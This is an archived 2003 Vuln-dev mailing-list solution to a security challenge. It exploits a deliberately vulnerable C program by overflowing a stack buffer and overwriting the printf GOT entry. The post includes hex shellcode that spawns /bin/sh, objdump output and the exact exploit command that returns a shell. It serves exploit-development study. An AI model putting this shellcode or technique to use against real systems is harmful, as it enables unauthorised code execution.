Re: [Vuln-dev Challenge] Challenge #2
From: Jason_Royes (jroyes_at_da-experts.com)
Date: 05/24/03
- Previous message: Joel Eriksson: "Re: [Vuln-dev Challenge] Challenge #2 (SPOILER)"
- In reply to: Dave McKinney: "[Vuln-dev Challenge] Challenge #2"
- Next in thread: Jose Ronnick: "[Vuln-dev Challenge] nonexec stack&heap solution (encrypted)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: Dave McKinney <dm@securityfocus.com> Date: 24 May 2003 01:05:54 -0400
Strategy was to overwrite printf pointer with shellcode address.
1) Overwrite pointer held in bfp with strcpy(buf, argv[1]).
before:
[buf][bfp][ret]
after:
[buf][&printf - 2][ret]
Subtract 2 from printf addr to compensate for ";;%s;;" in fprintf
2) Overwrite printf function pointer with argv[2], fgets(bfp, BFSIZE, f1), f1 contains address of argv[1] or buf.
3) printf is then called which gives a shell.
Note that a BUFSIZE of 90 actually allocates 92 bytes on the stack.
/* vulndev2.c */
#include <stdio.h>
#include <stdlib.h>
#define BFSIZE 90
int
main(int argc, char *argv[])
{
char *bfp;
char buf[BFSIZE];
FILE *f1;
if (argc != 3)
return 1;
if ( (bfp = malloc(BFSIZE)) == NULL)
return 1;
/* debug */
printf("bfp = %p, buf = %p\n", bfp, buf);
/* log input */
if ( (f1 = fopen("db.log", "a+")) == NULL)
return 1;
fprintf(f1, ";;%s;;", argv[2]);
fclose(f1);
strcpy(buf, argv[1]);
/* read log */
if ( (f1 = fopen("db.log", "r")) == NULL)
return 1;
if (fgets(bfp, BFSIZE, f1) == NULL)
return 1;
printf("%s\n", bfp);
fclose(f1);
exit(1);
}
##
jroyes@tadpole:~/study/vuln-dev/cha2$ objdump -R vd2
vd2: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049874 R_386_GLOB_DAT __gmon_start__
08049848 R_386_JUMP_SLOT __register_frame_info
0804984c R_386_JUMP_SLOT fprintf
08049850 R_386_JUMP_SLOT malloc
08049854 R_386_JUMP_SLOT __deregister_frame_info
08049858 R_386_JUMP_SLOT fgets
0804985c R_386_JUMP_SLOT __libc_start_main
08049860 R_386_JUMP_SLOT printf
08049864 R_386_JUMP_SLOT fclose
08049868 R_386_JUMP_SLOT exit
0804986c R_386_JUMP_SLOT fopen
08049870 R_386_JUMP_SLOT strcpy
jroyes@tadpole:~/study/vuln-dev/cha2$ hexdump -C tiny.shell
00000000 31 db 31 c9 b0 46 cd 80 31 c0 50 68 2f 73 68 ff |1.1..F..1.Ph/sh.|
00000010 88 44 24 03 68 2f 62 69 6e 89 e3 50 53 89 e1 31 |.D$.h/bin..PS..1|
00000020 d2 b0 0b cd 80 |.....|
00000025
jroyes@tadpole:~/study/vuln-dev/cha2$ ./vd2 `perl -e 'print "A"x55'``cat tiny.shell``printf "\x5e\x98\x04\x08"` `printf "\x6c\xfa\xff\xbf"`
bfp = 0x8049898, buf = 0xbffffa6c
sh-2.05a$ exit
jroyes@tadpole:~/study/vuln-dev/cha2$
##
Thanks to sin for the tiny shellcode.
On Fri, 2003-05-23 at 18:13, Dave McKinney wrote:
>
> We are announcing the second challenge. Initially, we wanted to have this
> out a few days ago but were involved in testing it on multiple platforms.
> This challenge is a little easier than the first one, since we'd like to
> see more people attempting to produce a proof-of-concept. If you find it
> too easy, you're welcome to attempt it in an environment with a
> non-executable stack/heap to raise the bar a little.
>
> Here's a link to the basic guidelines (for those who missed it):
>
> http://www.securityfocus.com/archive/82/321615/2003-05-13/2003-05-19/0
>
> (also, please retain the [Vuln-dev Challenge] string in the subject line
> for replies to make for easier filtering for those not interested in
> challenge related discussion.)
>
> ---
>
> /* vulndev2.c */
>
> #include <stdio.h>
> #include <stdlib.h>
>
> #define BFSIZE 90
>
> int
> main(int argc, char *argv[])
> {
> char *bfp;
> char buf[BFSIZE];
> FILE *f1;
>
> if (argc != 3)
> return 1;
> if ( (bfp = malloc(BFSIZE)) == NULL)
> return 1;
>
> /* log input */
> if ( (f1 = fopen("db.log", "a+")) == NULL)
> return 1;
> fprintf(f1, ";;%s;;", argv[2]);
> fclose(f1);
>
> strcpy(buf, argv[1]);
>
> /* read log */
> if ( (f1 = fopen("db.log", "r")) == NULL)
> return 1;
> if (fgets(bfp, BFSIZE, f1) == NULL)
> return 1;
>
> printf("%s\n", bfp);
> fclose(f1);
> exit(1);
> }
>
> ---
>
> Dave McKinney
> Symantec
>
> keyID: BF919DD7
> key fingerprint = 494D 6B7D 4611 7A7A 5DBB 3B29 4D89 3A70 BF91 9DD7
-- Jason Royes Data Access Experts http://www.da-experts.com/
- Previous message: Joel Eriksson: "Re: [Vuln-dev Challenge] Challenge #2 (SPOILER)"
- In reply to: Dave McKinney: "[Vuln-dev Challenge] Challenge #2"
- Next in thread: Jose Ronnick: "[Vuln-dev Challenge] nonexec stack&heap solution (encrypted)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|